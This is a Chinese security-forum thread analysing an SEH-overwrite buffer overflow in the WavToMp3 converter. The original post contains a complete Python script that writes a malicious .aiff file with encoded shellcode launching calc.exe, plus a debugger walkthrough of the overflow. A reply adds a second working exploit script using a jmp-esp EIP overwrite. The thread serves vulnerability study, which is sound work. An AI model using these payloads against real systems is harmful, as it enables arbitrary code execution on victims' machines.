吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 16226|回复: 13
收起左侧

[漏洞分析] 一个缓冲区溢出覆盖SEH漏洞分析

[复制链接]
安静的小酒吧 发表于 2016-1-10 11:59
本帖最后由 安静的小酒吧 于 2016-1-12 10:09 编辑

0x00 漏洞基本信息
漏洞来源:https://www.exploit-db.com/exploits/38456/
提交时间: 10/13/2015
发现者 : ArminCyber
测试环境: XP SP3
说明:一个异构的.aiff文件就可触发
类型:本地溢出/任意代码执行

0x01 漏洞现象
使用wavtomp3打开一个构造好的.aiff文件
ScreenClip.png
弹出计算器
ScreenClip [1].png
0x02 漏洞利用代码
[Python] 纯文本查看 复制代码
f = open("malicious.aiff", "w")

f.write("A"*4132)

f.write("\xeb\x06\x90\x90")

f.write("\xa4\x43\x40\x00")

# Shelcode:
# windows/exec - 277 bytes
# CMD=calc.exe
f.write("\x90"*20)
f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9")
f.write("\x90"*20)

f.close()

0x03 开始分析
根据漏洞产生象可以知道,在读取文件之后出错的,所以现在CreateFileW处下断点。(一般以xxxxxxxA结尾的函数都会调用到xxxxxxW结尾的函数,所以给CreateFileW下端更加可靠)
运行起来,加载文件,点击Play按钮,就会就会断下来,Ctr+F9,出来之后就单步跟踪发现在调用sub_4BA820函数后shellcode执行,那么问题应该出在这个函数里面

ScreenClip [2].png

0x04 单步进入sub_4BA820,执行到ret指令前
ScreenClip [3].png

0x05 这个shellcode的写法是一个常见的栈溢出利用seh结构如下
填充+nseh+seh+nop+shellcode
结构如下:
ScreenClip [4].png

各部分含义如下:
填充:数据覆盖直到函数返回地址

nseh : next seh 指示下一个seh结构的位置,在这里使用"\xeb\x06\x90\x90"填充是一个通用的填充方法,这四个字节反汇编的结果是 jmp 6   nop   nop这样三条指令,原因是jmp 6个字节刚好绕过两个nop指令和一个4字节的seh处理程序的地址,落入nop指令区,然后滑行进入shellcode


seh : seh处理程序地址部分填入的是一个指向pop pop ret 这样连续三条指令的一个地址,这样填充原因是,在异常出现时,先保存当前栈定,然后系统会在栈里面压入两个参数,所以两个pop是pop出来系统压的参数,然后ret到nseh的位置,接着开始执行指令,然后参考上面nseh的数据介绍就可以。


所以现在0x004043A4   这个位置下断点,然后shift+F9就到了这个位置:
ScreenClip [5].png   


从断点的位置开始,将会执行一个pop pop ret指令,显然,MessageBox函数需要4个参数,从断点开始只压入了3个,MessageBox函数执行完之后,默认恢复斩平衡就会弹出来4个值,所以相当于一个pop指令,接下来一个pop,一个ret就回到了nseh,如下

ScreenClip [6].png


0x06 漏洞产生原因还是由于拷贝长度没有检查导致的
ScreenClip [7].png


小结:
漏洞原理比较简单,利用方式也比较传统,主要是分析下相关的栈溢出覆盖seh及其利用方式。
平时很少分析漏洞,希望大牛多多指点。


分析软件和漏洞利用文件:http://pan.baidu.com/s/1hrxSQaw








免费评分

参与人数 2威望 +2 热心值 +2 收起 理由
lingyulingyu + 1 谢谢@Thanks!
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

bincker 发表于 2016-4-13 16:10
我也贴一个不同版本的exp,环境xp3

偏移了4128字节+eip + nops + shellcode = 弹出计算器~~

用peda 的patter_create出了计算的payload  

代码:

[Python] 纯文本查看 复制代码

filename = "test.aiff"

f = open(filename, "w")
#6932414D

#jmp esp = Found commands (All modules), item 38
#Address=77D456F7
  

buffer = "A"*4128
eip = "\xF7\x56\xD4\x77"
nops = "\x90"*25
shellcode = "\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4"
shellcode += "\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff"
shellcode += "\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8"
shellcode += "\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69"
shellcode += "\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3"
shellcode += "\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76"
shellcode += "\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07"
shellcode += "\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57"
shellcode += "\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d"
shellcode += "\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62"
shellcode += "\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c"
shellcode += "\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27"
shellcode += "\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0"
shellcode += "\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed"
shellcode += "\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66"
shellcode += "\xf3\x07"
f.write(buffer + eip + nops + shellcode)

f.close()

zt185 发表于 2016-1-10 12:29
卧龙程序开发 发表于 2016-1-18 13:17 来自手机
Johnbingo 发表于 2016-1-20 16:35
楼主厉害啊,最近正在学习SEH覆盖这块,学习了,非常感谢楼主的分享。{:1_912:}
www52pojiecn 发表于 2016-1-22 12:54
不错,赞!看了
枫MapleLCG 发表于 2016-1-22 18:25
我只想知道,为什么打开的都是计算器。。。
 楼主| 安静的小酒吧 发表于 2016-1-24 17:47
枫叶飘零 发表于 2016-1-22 18:25
我只想知道,为什么打开的都是计算器。。。

shellcode
ruanjiandiguo 发表于 2016-11-12 11:37
楼主太厉害啊,最近想学习SEH覆盖这块,真正学习了
Ju5td0 发表于 2016-11-14 12:44
谢谢分享  ,很强大
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-26 15:34

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表